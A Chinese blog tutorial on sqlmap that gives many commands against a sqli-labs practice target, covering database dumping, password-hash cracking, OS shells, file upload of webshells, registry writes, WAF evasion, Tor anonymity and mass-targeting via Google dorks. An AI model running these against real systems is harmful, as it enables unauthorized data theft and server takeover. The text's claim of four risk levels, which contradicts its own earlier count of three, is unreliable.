首页 > 数据库 >SQLMAP

SQLMAP

时间:2024-11-01 23:21:10浏览次数:4  
标签:SQLMAP sqlmap http -- 192.168 sqli id

SQLMAP使用指南

0 Sqlmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意的系统命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap -h

to see full list of options run with '-hh'

sqlmap5中安全级别

Sqlmap 3种风险级别

1 Sqlmap的基本用法

1.sqlmap -r http.txt #http.txt是我们抓取的http的请求包

2.sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

3.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞

4.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞

注:当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞

sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

5.sqlmap -u "http://192.168.10.1/sqli/Less-1/" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入

6.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户

7.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码

8.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户

9.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限

10.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色

11.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库

12.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表

13.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列

14.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库

15.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表

16.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列

17.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据

18.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据

19.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据

20. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据

21. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替

22. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别

23. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql查询语句

24. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令 (需要在mysql目录my.ini文件下添加入secure_file_priv="")

25. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件

26. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

27. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase

28. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破

29. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #指定代理

30. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入

31. -v3 输出详细度 最大值5 会显示请求包和回复包

32. --threads 5 指定线程数

33. --fresh-queries 清除缓存

34. --flush-session 刷新session

35. --batch 对所有的交互式的都是默认的

36. --random-agent 任意的http头

37. --tamper base64encode 对提交的数据进行base64编码

38. --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

39. --technique=BE 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。

支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)

E: Error-based SQL injection(报错型注入)

U: UNION query SQL injection(可联合查询注入)

S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

2 探测指定URL是否存在WAF,并且绕过

1. --identify-waf 检测是否有WAF(首选)

2. --check-waf 检测是否有WAF(备选)

#使用参数进行绕过

1. --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候

2. --time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时

3. --hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上

4. --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过

5. --ignore-proxy 禁止使用系统的代理,直接连接进行注入

6. --flush-session 清空会话,重构注入

7. --hex 或者 --no-cast 进行字符码转换

8. --mobile 对移动端的服务器进行注入

9. --tor 匿名注入

3 探测指定URL是否存在SQL注入漏洞

对于不用登录的网站,直接指定其URL

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞

在探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行交互。

比如第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。我们选择 n,就不探测其他类型的数据库了,因为我们已经知道目标系统是Mysql数据库了。

第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。

sqlmap -u http://192.168.2.103/sqli/less-1/?id=1

第三处交互是说已经探测到参数id存在漏洞了,是否还探测其他地方,我们选择 n 不探测其他参数了 。

最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其他信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。

注:探测的所有数据都被保存在了 /root/.sqlmap/output/192.168.10.1/ 目录下

·对于需要登录的网站,我们需要指定其cookie 。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入。

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞

·对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://192.168.10.1/sqli/Less-11/" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入

我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞

1. POST /sqli/Less-11/ HTTP/1.1

2. Host: 192.168.10.1

3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0

4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

6. Content-Type: application/x-www-form-urlencoded

7. Content-Length: 38

8. Referer: http://192.168.10.1/sqli/Less-11/

9. Connection: close

10. Upgrade-Insecure-Requests: 1

12. uname=admin&passwd=admin&submit=Submit

然后我们可以指定这个数据包进行探测

sqlmap -r post.txt #探测post.txt文件中的http数据包是否存在sql注入漏洞

可以看到,已经探测到 uname 参数存在漏洞了,问我们是否还想探测其他参数,我们选择的 y ,它检测到passwd也存在漏洞了,问我们是否还想探测其他参数,我们选择 n

然后会让我们选择,在后续的测试中,是选择 uname 这个参数还是passwd这个参数作为漏洞,随便选择一个就好了。

·查看数据库的所有用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户

·查看数据库所有用户名的密码

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码,第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用sqlmap自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破。

·查看数据库当前用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户

·判断当前用户是否有管理权限

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限

·列出数据库管理员角色

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色

·查看所有的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" –dbs

·查看当前的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库

·爆出指定数据库中的所有的表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表

·爆出指定数据库指定表中的所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users –columns

·爆出指定数据库指定表指定列下的数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据

·爆出该网站数据库中的所有数据

1.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据

2.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据

3.sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据

4 Sqlmap的高级用法

·指定脚本进行过滤

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)

1.sqlmap --tamper=space2comment.py #用/**/代替空格

2.sqlmap --tamper="space2comment.py,space2plus.py" 指定多个脚本进行过滤

过滤脚本在目录:/usr/share/sqlmap/tamper

脚本介绍请参考:sqlmap的tamper详解

·探测等级和危险等级

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有4个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为4级,--risk=4

sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别

·伪造 Http Referer头部

Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样:

referer http://www.baidu.com

执行指定的SQL语句

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句

然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号

·执行操作系统命令

在数据库为Mysql、PostgreSql或者SQL Server时,当满足下面三个条件,我们就可以执行操作系统命令

1.网站必须是root权限

2.攻击者需要知道网站的绝对路径

3.GPC为off,php主动转义的功能关闭

需要说一下这个方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。

这是个坑,这里说一下方法,方便读者,不需要麻烦的再去找其他博客资料。

如果你使用的时phpstudy,或者xammp请修改其自己的环境里的mysql配置文件。

进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。secure_file_priv=""

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令

如果我们不知道网站的根目录的绝对路径的话,我们那里选择4 brute force search 暴力破解,尝试破解出根目录的绝对路径!

·从数据库中读取文件

当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件

·上传文件到数据库服务器中

当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

(magic_quotes_gpc=off就可以尝试进行写入Webshell,sqlmap写入文件语法)

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

这里会问我们是否想验证上传成功,我们选择 y 的话,他就会读取该文件的大小,并且和本地的文件大小做比较,只要大于等于本地文件大小即说明上传功能了

5 Sqlmap的更多用法

除了上面这些用法外,Sqlmap还支持其他的用法,比如定义代理,探测的时候任意的User-Agent头部啊,当我们知道目标数据库类型的时候,直接指定其数据库类型,这样就不会测试其他类型的数据库了

1.sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql #指定其数据库为mysql

2.sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破

3.sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY #使用代理进行爆破

4.-p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

6 检测等级

参数:–level

此参数用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测。

Sqlmap使用的payload保存在目录xml/payloads/中,是xml格式的,可以自己定制。节选一个payload如下所示:

<test>

<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

<comment>[GENERIC_SQL_COMMENT]</comment>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

在上例中可以看到有level标签,其值为2,该payload在检测级别大于等于2时被使用。

risk标签的含义见后文。

检测级别不仅会影响payload的使用,还会影响注入点的检测,GET和POST参数是一直会被检测的,

检测级别大于等于2时会检测cookie是否有注入,检测级别大于等于3时会检测User-Agent和Referer是否有注入。

若不是很清楚注入点在哪里可以设置一个比较高的检测级别。

强烈建议在向Sqlmap官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试。

7 风险等级

参数:–risk

此参数用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害。

风险等级2添加了基于时间的注入测试,等级3添加了OR测试。

若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。

因此用户需要能控制风险等级避开有潜在风险的payload。

8 Windows注册表操作

满足以下条件就可以对Windows注册表进行操作:

目标数据库管理系统是运行在Windows上的

目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server

支持堆查询

目标数据库管理系统当前用户有足够的权限

1.读Windows注册表键值

参数:–reg-read

2.写Windows注册表键值

参数:–reg-add

3.删除Windows注册表键值

参数:–reg-del

4.辅助

参数:–reg-key、–reg-value、–reg-data和–reg-type

适当使用上列参数就可以在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以问答方式提供数据。

–reg-key:指定Windows注册表键值的路径

–reg-value:指定Windows注册表键值的键

–reg-data:指定Windows注册表键值的值

–reg-type:指定Windows注册表键值的值的数据类型

下面是一个例子:

python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

9 指定输出目录路径

参数:–output-dir

Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”

10 升级Sqlmap

参数:–update

使用此参数可以升级Sqlmap,显然,需要能够连接互联网。万一执行失败,可以在Sqlmap安装目录中执行“git pull”来升级Sqlmap。在Windows中没有git命令可以使用SmartGit之类的git客户端。

实际上“–update”和“git pull”以同样的方式升级Sqlmap,都是从git仓库中获取最新源代码。

强烈建议在报告bug前先升级Sqlmap。

11 奇难杂技

·直接连接数据库

参数:-d

使用参数“-d”直接连接数据库,该参数后跟一个表示数据库的字符串,该字符串有以下两种格式:

(1).当数据库管理系统是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等时格式为:

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(2).当数据库管理系统是SQLite、Microsoft Access或Firebird等时格式为:

DBMS://DATABASE_FILEPATH

我用如下命令连接装在本机上的Mysql:

sqlmap.py -d "mysql://root:[email protected]:3306/security"

如果出现了错误,错误为:

[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed

意思是我没有安装Python连接Mysql用的第三方库python-pymysql。虽然我安装了python-mysqldb可以使Python连接Mysql,但显然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安装python-pymysql:

git clone https://github.com/petehunt/PyMySQL/

cd PyMySQL/

sudo python setup.py install

安装好python-pymysql后再执行命令:

sqlmap.py -d "mysql://root:[email protected]:3306/security"

·从文本文件中解析目标

参数:-m

参数“-u”一次只能指定一个URL,若有多个URL需要测试就显得很不方便,我们可用将多个URL以一行一个的格式保存在文本文件中,然后使用参数“-m”,后跟该文本文件路径,让Sqlmap依次读取文件中的URL作为攻击目标。

如我们有文件url.txt,内容为:

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

然后可用使用如下命令让Sqlmap测试这些URL是否存在注入漏洞:

sqlmap.py -m url.txt

同样,执行该命令时,Sqlmap会很贴心地一个个询问:“do you want to test this URL?”

·将Google搜索结果作为攻击目标

参数:-g

Sqlmap能自动获取Google搜索的前一百个结果,对其中有GET参数的URL进行注入测试。当然,所处的网络环境要能访问Google才行。下面是Sqlmap手册中“-g”参数的例子:

sqlmap.py -g "inurl:\".php?id=1\""

·POST数据

参数:–data

该参数指定的数据会被作为POST数据提交,Sqlmap也会检测该参数指定数据是否存在注入漏洞。如:

sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"

·指定分隔符

参数:–param-del

上一个例子中“–data”的数据“id=0&name=werner”其实由两个部分组成:“id=0”和“name=werner”,默认地以“&”作为分隔符。我们可以使用“–param-del”来指定分隔符,如:

sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"

·忽略401

参数:–ignore-401

使用该参数忽略401错误(未认证)。

·绕过CSRF保护

参数:–csrf-token和–csrf-url

现在有很多网站通过在表单中添加值为随机生成的token的隐藏字段来防止CSRF攻击,Sqlmap会自动识别出这种保护方式并绕过。但自动识别有可能失效,此时就要用到这两个参数。

“–csrf-token”用于指定包含token的隐藏字段名,若这个字段名不是常见的防止CSRF攻击的字段名Sqlmap可能不能自动识别出,需要手动指定。如Django中该字段名为“csrfmiddlewaretoken”,明显与CSRF攻击有关。

“–csrf-url”用于从任意的URL中回收token值。若最初有漏洞的目标URL中没有包含token值而又要求在其他地址提取token值时该参数就很有用。

·强制使用SSL

参数:–force-ssl

·指纹

默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别。

参数:-f或–fingerprint

若想执行更广泛的数据库管理系统指纹识别可以添加此参数。

参数:-b或–banner

·初学者准备的简单向导

参数:–wizard

Sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。如:

sqlmap –wizard

参考文献

sqlmap官网:http://sqlmap.org/

SqlMap用户手册:https://www.secpulse.com/archives/4213.html

sqlmap批量扫描burpsuite请求日志记录:

https://www.cnblogs.com/tdcqma/p/5610235.html

标签:SQLMAP,sqlmap,http,--,192.168,sqli,id
From: https://www.cnblogs.com/zdytom/p/18521465

相关文章

  • sqlmap使用教程(包含POST型注入方式)
    前言:使用kali系统中自带的sqlmap,无需安装,非常方便,命令行输入sqlmap 可以查看sqlmap信息正文中会把所有常用的命令先列举出来,如果只是不熟悉命令格式的朋友可以节约时间只看前面的部分,也可以用目录跳转到对应的内容,如果想了解工具的使用效果后面会有注入过程的详......
  • 08-宽字节注入、GetShell、SQLMap、XSS存储型练习
    1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;​ 由于网站的过滤,调用其addslashes()函数在单引号之前添加反斜线\进行转义,我们需要让\无效实现单引号的逃逸。​ 解决方法:因为addslashes()函数使用时会对输入内容进行URL编码(即添加的\也会编码成%5c)在......
  • C10-08-宽字节注入-mysql注入之getshell-sqlmap
    一宽字节注入利用宽字节注入实现“库名-表名”的注入过程。靶场环境:容器镜像:area39/pikachu宽字节概念1、如果一个字符的大小是一个字节的,称为窄字节;2、如果一个字符的大小是两个及以上字节的,称为宽字节;像GB2312、GBK、GB18030、BIG5、Shift_JIS等编码都是常见的宽字节......
  • Sqlmap命令使用方法总结----适合网络安全小白
    在网上找了很多教程,都是零零散散的,找到了两位位前辈的博客,应该是翻译的官方文档,感谢前辈们做出的贡献.希望能够帮助刚学网络安全的小白们本文参考:漏洞人生和sqlmap用户手册中文版目录Sqlmap使用方法总结sqlmap简介常用语句sqlmap详细命令用法选项目标请求优化注入......
  • sqlmap
    一、介绍1.简介SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和注入过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。......
  • 喜欢长文吗?1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
    前言在信息安全领域,SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理,通过注入恶意SQL代码,从而绕过安全措施,非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻,了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为......
  • sqlmap工具查询接口是否存在sql注入
     转:https://blog.csdn.net/m0_63641882/article/details/134529081 sqlmap-u'https://orgvue3.cyberwing.cn/api/org/tree/unitTree?id=0&_t=1725517383534'--header'Authorization:BearereyJraWQiOiI2MGMyY2RiNC03N2NlLTQzYzMtOTdiNS0xNmE1YjVlM......
  • WEB渗透Web突破篇-SQL注入(SQLMAP)
    WEB渗透Web突破篇-SQL注入(数据库判断)-CSDN博客WEB渗透Web突破篇-SQL注入(MYSQL)-CSDN博客WEB渗透Web突破篇-SQL注入(MSSQL)-CSDN博客WEB渗透Web突破篇-SQL注入(Oracle)-CSDN博客WEB渗透Web突破篇-SQL注入(PostgreSQL)-CSDN博客WEB渗透Web突破篇-SQL注入(SQLite)-CSDN博客WEB渗透Web......
  • SQL server基于报错的注入(使用sqlmap进行get shell)
    SQLserver基于报错的注入1.访问MSSQLSQLiLabs网站点击按钮,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:2.寻找注入点http://[靶机IP]/less-1.asp?id=1'运行后报错,说明我们可以利用参数“id”作为我们的注入点,根据回显我们可以判断这是字......
  • Sqlmap中文使用手册 - Injection模块参数使用
    目录1.Injection模块的帮助文档2.各个参数的介绍2.1指定测试参数2.2--dbms=DBMS2.3--os=OS2.4--invalid-bignum2.5--invalid-logical2.6--invalid-string2.7--no-escape2.8--prefix/--suffix2.9--tamper=TAMPER1.Injection模块的帮助文档Injection:......